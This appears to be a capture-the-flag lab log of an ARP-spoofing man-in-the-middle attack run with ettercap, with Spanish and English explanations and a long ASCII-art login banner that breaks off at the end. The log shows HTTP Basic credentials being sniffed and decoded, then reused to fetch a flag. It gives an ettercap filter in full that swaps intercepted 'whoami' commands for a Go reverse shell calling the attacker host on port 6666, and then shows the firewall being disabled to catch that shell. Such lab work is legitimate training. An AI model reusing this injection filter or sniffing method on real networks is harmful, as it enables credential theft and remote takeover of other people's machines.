17:17:38 2023 [399959] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:17:38 2023 [405020] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | A (0) Mon Feb 6 17:17:41 2023 [122073] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (3) ls Mon Feb 6 17:17:41 2023 [136263] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:17:42 2023 [386260] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | AP (3) ls Mon Feb 6 17:17:42 2023 [402732] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:42 2023 [404020] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:17:42 2023 [426879] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | A (0) Mon Feb 6 17:17:46 2023 [418683] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | AP (7) whoami Mon Feb 6 17:17:46 2023 [458963] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:17:46 2023 [540796] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | A (0) Mon Feb 6 17:17:47 2023 [343644] TCP 192.168.12.10:47594 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:17:47 2023 [381082] TCP 192.168.12.20:80 --> 192.168.12.10:47594 | SA (0) Mon Feb 6 17:17:47 2023 [421138] TCP 192.168.12.10:47594 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:47 2023 [421396] TCP 192.168.12.10:47594 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:17:47 2023 [453189] TCP 192.168.12.20:80 --> 192.168.12.10:47594 | A (0) Mon Feb 6 17:17:47 2023 [454756] TCP 192.168.12.20:80 --> 192.168.12.10:47594 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:17:47 2023 [454963] TCP 192.168.12.20:80 --> 192.168.12.10:47594 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:17:47 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:17:47 2023 [493339] TCP 192.168.12.10:47594 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:47 2023 [494332] TCP 192.168.12.10:47594 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:17:47 2023 [533528] TCP 192.168.12.20:80 --> 192.168.12.10:47594 | A (0) Mon Feb 6 17:17:50 2023 [452253] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | AP (4) pwd Mon Feb 6 17:17:50 2023 [532236] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | R (0) Closing text interface... Terminating ettercap... Lua cleanup complete! ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped. or root@eve:~# ettercap -T -i eth1 -M arp > /tmp/arp.txt * |==================================================>| 100.00 % ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ scp admin@10.10.148.6:/tmp/arp.txt . admin@10.10.148.6's password: arp.txt 100% 13KB 21.9KB/s 00:00 ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ cat arp.txt ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Listening on: eth1 -> 0E:D9:C1:ED:A6:C1 192.168.12.66/255.255.255.0 fe80::8862:1aff:fee7:9471/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Mon Feb 6 17:18:51 2023 [779619] 192.168.12.10:0 --> 192.168.12.20:0 | (0) Mon Feb 6 17:18:51 2023 [779684] 192.168.12.20:0 --> 192.168.12.10:0 | (0) Mon Feb 6 17:18:53 2023 [18684] TCP 192.168.12.10:4444 --> 192.168.12.20:44126 | AP (3) ls Mon Feb 6 17:18:53 2023 [57916] TCP 192.168.12.20:44126 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:18:53 2023 [58400] TCP 192.168.12.20:44126 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:18:53 2023 [140800] TCP 192.168.12.10:4444 --> 192.168.12.20:44126 | A (0) Mon Feb 6 17:18:57 2023 [20237] TCP 192.168.12.10:4444 --> 192.168.12.20:44126 | AP (7) whoami Mon Feb 6 17:18:57 2023 [57538] TCP 192.168.12.20:44126 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:18:59 2023 [616161] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:18:59 2023 [635151] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | SA (0) Mon Feb 6 17:18:59 2023 [647145] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:18:59 2023 [681825] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | AP (7) whoami Mon Feb 6 17:18:59 2023 [719398] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:18:59 2023 [721525] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:18:59 2023 [747594] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | A (0) Mon Feb 6 17:19:00 2023 [466262] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:19:00 2023 [485205] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | SA (0) Mon Feb 6 17:19:00 2023 [497227] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:00 2023 [497388] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:19:00 2023 [509216] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | A (0) Mon Feb 6 17:19:00 2023 [510630] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:19:00 2023 [510878] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:19:00 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:19:00 2023 [533472] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:00 2023 [534450] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:19:00 2023 [573680] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:19:00 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:19:00 2023 [573744] TCP 192.168.12.20:80 --> 192.168.12.10:47618 | A (0) Mon Feb 6 17:19:00 2023 [585336] TCP 192.168.12.10:47618 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:03 2023 [683794] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | AP (4) pwd Mon Feb 6 17:19:03 2023 [707343] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:03 2023 [707574] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:19:03 2023 [719390] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | A (0) Mon Feb 6 17:19:07 2023 [711817] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | AP (3) ls Mon Feb 6 17:19:07 2023 [751803] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:07 2023 [752305] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:19:07 2023 [832819] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | A (0) Mon Feb 6 17:19:11 2023 [713275] TCP 192.168.12.10:4444 --> 192.168.12.20:44130 | AP (7) whoami Mon Feb 6 17:19:11 2023 [746933] TCP 192.168.12.20:44130 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:19:12 2023 [667973] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:19:12 2023 [748419] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | SA (0) Mon Feb 6 17:19:12 2023 [788477] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:12 2023 [911722] TCP 192.168.12.10:47622 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:19:12 2023 [911751] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | AP (7) whoami Mon Feb 6 17:19:12 2023 [950872] TCP 192.168.12.20:80 --> 192.168.12.10:47622 | SA (0) Mon Feb 6 17:19:12 2023 [950885] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:12 2023 [950891] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | AP (5) root HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:19:12 2023 [990026] TCP 192.168.12.10:47622 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:12 2023 [990038] TCP 192.168.12.10:47622 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . Mon Feb 6 17:19:12 2023 [990042] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | A (0) Mon Feb 6 17:19:13 2023 [31238] TCP 192.168.12.20:80 --> 192.168.12.10:47622 | A (0) Mon Feb 6 17:19:13 2023 [31251] TCP 192.168.12.20:80 --> 192.168.12.10:47622 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:19:13 2023 [31256] TCP 192.168.12.20:80 --> 192.168.12.10:47622 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:19:13 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:19:13 2023 [67233] TCP 192.168.12.10:47622 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:13 2023 [67246] TCP 192.168.12.10:47622 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:19:13 2023 [107501] TCP 192.168.12.20:80 --> 192.168.12.10:47622 | A (0) Mon Feb 6 17:19:16 2023 [912372] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | AP (4) pwd Mon Feb 6 17:19:16 2023 [926740] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:16 2023 [926975] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:19:16 2023 [942831] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | A (0) Mon Feb 6 17:19:20 2023 [942395] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | AP (3) ls Mon Feb 6 17:19:20 2023 [982344] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:20 2023 [982868] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:19:21 2023 [64892] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | A (0) Mon Feb 6 17:19:24 2023 [943550] TCP 192.168.12.10:4444 --> 192.168.12.20:44134 | AP (7) whoami Mon Feb 6 17:19:24 2023 [981659] TCP 192.168.12.20:44134 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:19:25 2023 [261417] TCP 192.168.12.10:47628 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:19:25 2023 [298204] TCP 192.168.12.20:80 --> 192.168.12.10:47628 | SA (0) Mon Feb 6 17:19:25 2023 [338297] TCP 192.168.12.10:47628 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:25 2023 [338591] TCP 192.168.12.10:47628 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:19:25 2023 [378507] TCP 192.168.12.20:80 --> 192.168.12.10:47628 | A (0) Mon Feb 6 17:19:25 2023 [380976] TCP 192.168.12.20:80 --> 192.168.12.10:47628 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:19:25 2023 [381227] TCP 192.168.12.20:80 --> 192.168.12.10:47628 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:19:25 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:19:25 2023 [418650] TCP 192.168.12.10:47628 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:25 2023 [419635] TCP 192.168.12.10:47628 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:19:25 2023 [458620] TCP 192.168.12.20:80 --> 192.168.12.10:47628 | A (0) Mon Feb 6 17:19:26 2023 [180402] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:19:26 2023 [195757] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | SA (0) Mon Feb 6 17:19:26 2023 [207576] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:26 2023 [237999] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | AP (7) whoami Mon Feb 6 17:19:26 2023 [271909] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:26 2023 [273509] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:19:26 2023 [300135] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | A (0) Mon Feb 6 17:19:30 2023 [239897] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | AP (4) pwd Mon Feb 6 17:19:30 2023 [241004] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:30 2023 [241234] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:19:30 2023 [263329] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | A (0) Mon Feb 6 17:19:34 2023 [266461] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | AP (3) ls Mon Feb 6 17:19:34 2023 [306331] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:34 2023 [306815] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:19:34 2023 [466432] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | A (0) Mon Feb 6 17:19:34 2023 [546758] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:19:34 2023 [586900] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | A (0) Mon Feb 6 17:19:37 2023 [662203] TCP 192.168.12.10:47634 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:19:37 2023 [700543] TCP 192.168.12.20:80 --> 192.168.12.10:47634 | SA (0) Mon Feb 6 17:19:37 2023 [740561] TCP 192.168.12.10:47634 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:37 2023 [740736] TCP 192.168.12.10:47634 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:19:37 2023 [780674] TCP 192.168.12.20:80 --> 192.168.12.10:47634 | A (0) Mon Feb 6 17:19:37 2023 [782274] TCP 192.168.12.20:80 --> 192.168.12.10:47634 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:19:37 2023 [782490] TCP 192.168.12.20:80 --> 192.168.12.10:47634 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:19:37 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:19:37 2023 [820844] TCP 192.168.12.10:47634 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:19:37 2023 [821772] TCP 192.168.12.10:47634 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:19:37 2023 [860909] TCP 192.168.12.20:80 --> 192.168.12.10:47634 | A (0) Mon Feb 6 17:19:38 2023 [301644] TCP 192.168.12.10:4444 --> 192.168.12.20:44144 | AP (7) whoami Mon Feb 6 17:19:38 2023 [341588] TCP 192.168.12.20:44144 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:19:38 2023 [703133] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:19:38 2023 [718295] TCP 192.168.12.10:4444 --> 192.168.12.20:44150 | SA (0) Mon Feb 6 17:19:38 2023 [730222] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:38 2023 [756177] TCP 192.168.12.10:4444 --> 192.168.12.20:44150 | AP (7) whoami Mon Feb 6 17:19:38 2023 [786531] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:38 2023 [788139] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:19:38 2023 [814660] TCP 192.168.12.10:4444 --> 192.168.12.20:44150 | A (0) Mon Feb 6 17:19:42 2023 [763194] TCP 192.168.12.10:4444 --> 192.168.12.20:44150 | AP (4) pwd Mon Feb 6 17:19:42 2023 [778414] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:19:42 2023 [778628] TCP 192.168.12.20:44150 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:19:42 2023 [794494] TCP 192.168.12.10:4444 --> 192.168.12.20:44150 | A (0) Closing text interface... Terminating ettercap... Lua cleanup complete! ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped. root@eve:/tmp# cat /etc/hosts 127.0.0.1 localhost 192.168.12.10 alice 192.168.12.20 bob 192.168.12.66 eve # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters YWRtaW46czNjcjN0X1A0eno= admin:s3cr3t_P4zz Basic YWRtaW46czNjcjN0X3A0eno=not authenticatedadmin@eve:~$ curl -u admin:s3cr3t_P4zz http://192.168.12.20 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <title>Directory listing for /</title> <body> <h2>Directory listing for /</h2> <hr> <ul> <li><a href="SimpleHTTPAuthServer.py">SimpleHTTPAuthServer.py</a> <li><a href="test.txt">test.txt</a> <li><a href="user.txt">user.txt</a> </ul> <hr> </body> </html> admin@eve:~$ curl -u admin:s3cr3t_P4zz http://192.168.12.20/test.txt OK Re-ARPing the victims means sending new ARP messages to update the ARP caches of the hosts in the network to remove the ARP poison that was previously added. This is typically done to restore normal network operation after an ARP spoofing attack has been performed. curl -u user:pass http://ip/ admin@eve:~$ curl -u admin:s3cr3t_P4zz http://192.168.12.20/user.txt THM{wh0s_$n!ff1ng_0ur_cr3ds} whoami, pwd,ls

┌──(kali㉿kali)-[~/learning_l2_mac] └─$ cat whoami.ecf if (ip.proto == TCP && tcp.src == 4444 && search(DATA.data, "whoami") ) { log(DATA.data, "/root/ettercap.log"); replace("whoami", "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"192.168.12.66:6666\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go &" ); msg("###### ETTERFILTER: substituted 'whoami' with reverse shell. ######\n"); } Este es un script de ettercap filter que modifica un paquete TCP si se cumple la condición especificada. La condición es que si el protocolo es TCP y el puerto origen es 4444 y el contenido del paquete contiene la cadena "whoami", se registrará el contenido del paquete en un archivo llamado "/root/ettercap.log". Luego, se reemplazará la cadena "whoami" con un comando que escribirá un programa en Go en el archivo "/tmp/t.go" y luego ejecutará ese programa en segundo plano. El programa en Go establecerá una conexión de shell inverso a la dirección IP "192.168.12.66" en el puerto 6666. The above command is used to compile an etterfilter script file (with ".ecf" extension) into a binary etterfilter file (with ".ef" extension) that can be used by the Ettercap program. The "-o" option is used to specify the output file name. In this case, the compiled etterfilter file will be named "whoami.ef". admin@eve:~$ nano whoami.ecf admin@eve:~$ etterfilter whoami.ecf -o whoami.ef etterfilter 0.8.3 copyright 2001-2019 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file 'whoami.ecf' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'whoami.ef' done. -> Script encoded into 9 instructions. admin@eve:~$ ls whoami.ecf whoami.ef sudo ufw allow in on eth1 from 192.168.12.20 to 192.168.12.66 port 6666 proto tcp or sudo ufw disable admin@eve:~$ sudo ufw disable [sudo] password for admin: Firewall stopped and disabled on system startup ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ ssh admin@10.10.148.6 admin@10.10.148.6's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 06 Feb 2023 05:45:33 PM UTC System load: 0.06 Users logged in: 1 Usage of /: 68.9% of 16.85GB IPv4 address for docker0: 172.17.0.1 Memory usage: 46% IPv4 address for eth0: 10.10.148.6 Swap usage: 0% IPv4 address for eth1: 192.168.12.66 Processes: 154 IPv4 address for virbr0: 192.168.122.1 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 25 updates can be applied immediately. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings __/\\\______________/\\\_________________/\\\\\\___________________________________________________________________ _\/\\\_____________\/\\\________________\////\\\___________________________________________________________________ _\/\\\_____________\/\\\___________________\/\\\___________________________________________________________________ _\//\\\____/\\\____/\\\______/\\\\\\\\_____\/\\\________/\\\\\\\\_____/\\\\\_______/\\\\\__/\\\\\_______/\\\\\\\\__ __\//\\\__/\\\\\__/\\\_____/\\\/////\\\____\/\\\______/\\\//////____/\\\///\\\___/\\\///\\\\\///\\\___/\\\/////\\\_ ___\//\\\/\\\/\\\/\\\_____/\\\\\\\\\\\_____\/\\\_____/\\\__________/\\\__\//\\\_\/\\\_\//\\\__\/\\\__/\\\\\\\\\\\__ ____\//\\\\\\//\\\\\_____\//\\///////______\/\\\____\//\\\________\//\\\__/\\\__\/\\\__\/\\\__\/\\\_\//\\///////___ _____\//\\\__\//\\\_______\//\\\\\\\\\\__/\\\\\\\\\__\///\\\\\\\\__\///\\\\\/___\/\\\__\/\\\__\/\\\__\//\\\\\\\\\\_ ______\///____\///_________\//////////__\/////////_____\////////_____\/////_____\///___\///___\///____\//////////__ ________________________________________________________________/\\\________________________ _______________________________________________________________\/\\\________________________ _____/\\\____________________________________________/\\\______\/\\\________________________ __/\\\\\\\\\\\_____/\\\\\_________________________/\\\\\\\\\\\_\/\\\_____________/\\\\\\\\__ _\////\\\////____/\\\///\\\______________________\////\\\////__\/\\\\\\\\\\____/\\\/////\\\_ ____\/\\\_______/\\\__\//\\\________________________\/\\\______\/\\\/////\\\__/\\\\\\\\\\\__ ____\/\\\_/\\__\//\\\__/\\\_________________________\/\\\_/\\__\/\\\___\/\\\_\//\\///////___ ____\//\\\\\____\///\\\\\/__________________________\//\\\\\___\/\\\___\/\\\__\//\\\\\\\\\\_ _____\/////_______\/////_____________________________\/////____\///____\///____\//////////__ __/\\\\\\\\\\\\________________________________________________________________________________________ _\/\\\////////\\\______________________________________________________________________________________ _\/\\\______\//\\\_______________________________/\\\\\\\\_____________________________________________ _\/\\\_______\/\\\__/\\\____/\\\__/\\/\\\\\\____/\\\////\\\_____/\\\\\\\\______/\\\\\_____/\\/\\\\\\___ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\////\\\__\//\\\\\\\\\___/\\\/////\\\___/\\\///\\\__\/\\\////\\\__ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\__\//\\\__\///////\\\__/\\\\\\\\\\\___/\\\__\//\\\_\/\\\__\//\\\_ _\/\\\_______/\\\__\/\\\___\/\\\_\/\\\___\/\\\__/\\_____\\\_\//\\///////___\//\\\__/\\\__\/\\\___\/\\\_ _\/\\\\\\\\\\\\/___\//\\\\\\\\\__\/\\\___\/\\\_\//\\\\\\\\___\//\\\\\\\\\\__\///\\\\\/___\/\\\___\/\\\_ _\////////////______\/////////___\///____\///___\////////_____\//////////_____\/////_____\///____\///__ ______________________/\\\\\___________________________/\\\\\__________/\\\\\\\\\\\____/\\\\\\\\\\\_______ ____________________/\\\///__________________________/\\\///\\\______/\\\/////////\\\_\/////\\\///________ ___________________/\\\____________________________/\\\/__\///\\\___\//\\\______\///______\/\\\___________ _____/\\\\\_____/\\\\\\\\\________________________/\\\______\//\\\___\////\\\_____________\/\\\___________ ___/\\\///\\\__\////\\\//________________________\/\\\_______\/\\\______\////\\\__________\/\\\______/\\\_ __/\\\__\//\\\____\/\\\__________________________\//\\\______/\\\__________\////\\\_______\/\\\_____\///__ _\//\\\__/\\\_____\/\\\___________________________\///\\\__/\\\_____/\\\______\//\\\______\/\\\___________ __\///\\\\\/______\/\\\_____________________________\///\\\\\/_____\///\\\\\\\\\\\/____/\\\\\\\\\\\__/\\\_ ____\/////________\///________________________________\/////_________\///////////_____\///////////__\///__ __/\\\_________________/\\\\\\\\\_____/\\\________/\\\__/\\\\\\\\\\\\\\\____/\\\\\\\\\__________________/\\\\\\\\\_____ _\/\\\_______________/\\\\\\\\\\\\\__\///\\\____/\\\/__\/\\\///////////___/\\\///////\\\______________/\\\///////\\\___ _\/\\\______________/\\\/////////\\\___\///\\\/\\\/____\/\\\_____________\/\\\_____\/\\\_____________\///______\//\\\__ _\/\\\_____________\/\\\_______\/\\\_____\///\\\/______\/\\\\\\\\\\\_____\/\\\\\\\\\\\/________________________/\\\/___ _\/\\\_____________\/\\\\\\\\\\\\\\\_______\/\\\_______\/\\\///////______\/\\\//////\\\_____________________/\\\//_____ _\/\\\_____________\/\\\/////////\\\_______\/\\\_______\/\\\_____________\/\\\____\//\\\_________________/\\\//________ _\/\\\_____________\/\\\_______\/\\\_______\/\\\_______\/\\\_____________\/\\\_____\//\\\______________/\\\/___________ _\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_______\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\______\//\\\____________/\\\\\\\\\\\\\\\_ _\///////////////__\///________\///________\///________\///////////////__\///________\///____________\///////////////__ ____/\\\__/\\\______________________________________________________________________________________________________________________ ___\/\\\_\/\\\______________________________________________________________________________________________________________________ __/\\\\\\\\\\\\\____________________/\\\__________/\\\__________________________________________________________________/\\\\\\\\\__ _\///\\\///\\\/______/\\\\\\\\___/\\\\\\\\\\\__/\\\\\\\\\\\_____/\\\\\\\\___/\\/\\\\\\\______/\\\\\\\\__/\\\\\\\\\_____/\\\/////\\\_ ___\/\\\_\/\\\_____/\\\/////\\\_\////\\\////__\////\\\////____/\\\/////\\\_\/\\\/////\\\___/\\\//////__\////////\\\___\/\\\\\\\\\\__ __/\\\\\\\\\\\\\__/\\\\\\\\\\\_____\/\\\_________\/\\\_______/\\\\\\\\\\\__\/\\\___\///___/\\\___________/\\\\\\\\\\__\/\\\//////___ _\///\\\///\\\/__\//\\///////______\/\\\_/\\_____\/\\\_/\\__\//\\///////___\/\\\_________\//\\\_________/\\\/////\\\__\/\\\_________ ___\/\\\_\/\\\____\//\\\\\\\\\\____\//\\\\\______\//\\\\\____\//\\\\\\\\\\_\/\\\__________\///\\\\\\\\_\//\\\\\\\\/\\_\/\\\_________ 